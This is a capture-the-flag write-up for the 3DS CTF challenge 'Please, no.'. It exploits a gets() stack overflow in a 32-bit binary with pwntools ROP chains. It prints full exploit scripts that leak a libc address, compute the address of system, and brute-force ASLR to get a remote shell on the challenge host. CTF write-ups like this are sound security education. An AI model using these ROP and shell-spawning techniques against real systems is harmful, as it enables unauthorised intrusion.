# [3DS CTF] [Exploit 300 – Please, no.] Write up

## Description

[EN]
This time the programmer did a better job to hid his flag. But the problem still: It’s vulnerable. Can you obtain the flag?
Send to 209.190.1.131 9003
NOW WITH SECRET BONUS!

[PT-BR]
Dessa vez o programador caprichou um pouco mais na hora de esconder sua flag. O problema que continua vulneravel. Consegue extrair a flag?
Envie para 209.190.1.131 9003
AGORA COM BONUS SECRETO!

Solved by 32 teams
Bonus solved by 5 teams

binary

## Resolution

This is a pretty simple challenge, we wanted to write about the bonus part but we might as well give a write-up for the first part.
We have a standard binary:

```[*] '/home/laxa/Documents/Repos/Challenges/CTF/3DS2k16/Please_no/please-no'
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE
```

The main is just a simple gets(bufonStack), so we can ROP.
A given set of function is given for us to grab the flag, so we end up with the following script:

```#!/usr/bin/env python2

from pwn import *

###

pr = 0x080483c9 #: pop ebx ; ret
pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret

###

r = remote("209.190.1.131", 9003)

ROP = "A" * 20
ROP += p32(0x8048690)
ROP += p32(pppr)
ROP += p32(0x1B0B0C41)
ROP += p32(0xAE13374E)

ROP += p32(0x8048650)
ROP += p32(pr)
ROP += p32(0xB0B01337)
ROP += p32(0x8048590) # open file and output to stdout
ROP += p32(b.symbols['exit'])

r.sendline(ROP)
print r.recvall()
```

Now for the bonus part!
We can’t really tell why, but even with a newline terminated string, the output wasn’t correctly flushed. The only way to flush was to call exit(). Given the fact was the binary is a 32 bits one, the entropy for the libc randomization by ASLR is only a few bits (16 bits according to wikipedia), given a fixed system address, we have 1 chance on 65536 to get it right, that’s not much!
So we did the exploit in 2 parts, first one we leaked an address with the following ROP:

```ROP += p32(b.symbols['printf'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(bss)
ROP += p32(bss)
ROP += p32(b.symbols['exit'])

ROP += p32(b.symbols['strcat'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(0x80487d3)

ROP += p32(b.symbols['strcat'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(0x8048f64)

ROP += p32(b.symbols['printf'])
ROP += p32(pppr)
ROP += p32(bss)
ROP += p32(b.symbols['got.printf'])
ROP += p32(b.symbols['exit'])
```

With that, we have a randomized libc address: 0xf75bdf30
We now identify the libc using libc database => archive-glibc (id libc6_2.24-3ubuntu1_i386)
And we calculate system address => 0xf75af020

And then we bruteforce with this script:

```#!/usr/bin/env python2

from pwn import *

###

pr = 0x080483c9 #: pop ebx ; ret
pppr = 0x08048601 #: add esp, 8 ; pop esi ; ret
bss = 0x0804a555

###

while True:
r = remote("209.190.1.131", 9003)

ROP = "A" * 20
ROP += p32(b.symbols['gets'])
ROP += p32(pr)
ROP += p32(bss)
ROP += p32(0xf75af020) # system
ROP += p32(pr)
ROP += p32(bss) # /bin/sh

r.sendline(ROP)
r.sendline("/bin/sh\x00")
try:
print r.recvline(timeout=5)
except EOFError:
print "Except"
r.close()
continue
r.interactive()
```

It takes a short amount of time to get a shell (few minutes).

Flag is: 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}
Bonus flag is: 3DS{fb1d92953253c7d79b50fbe1c0ca8abd}

## 4 thoughts on “[3DS CTF] [Exploit 300 – Please, no.] Write up”

1. laxa says:

Thanks for pointing that out, your gist has 404 :(.
But the real problem is, why printf does’nt flush when appending a newline ? That’s also bothering me in that case.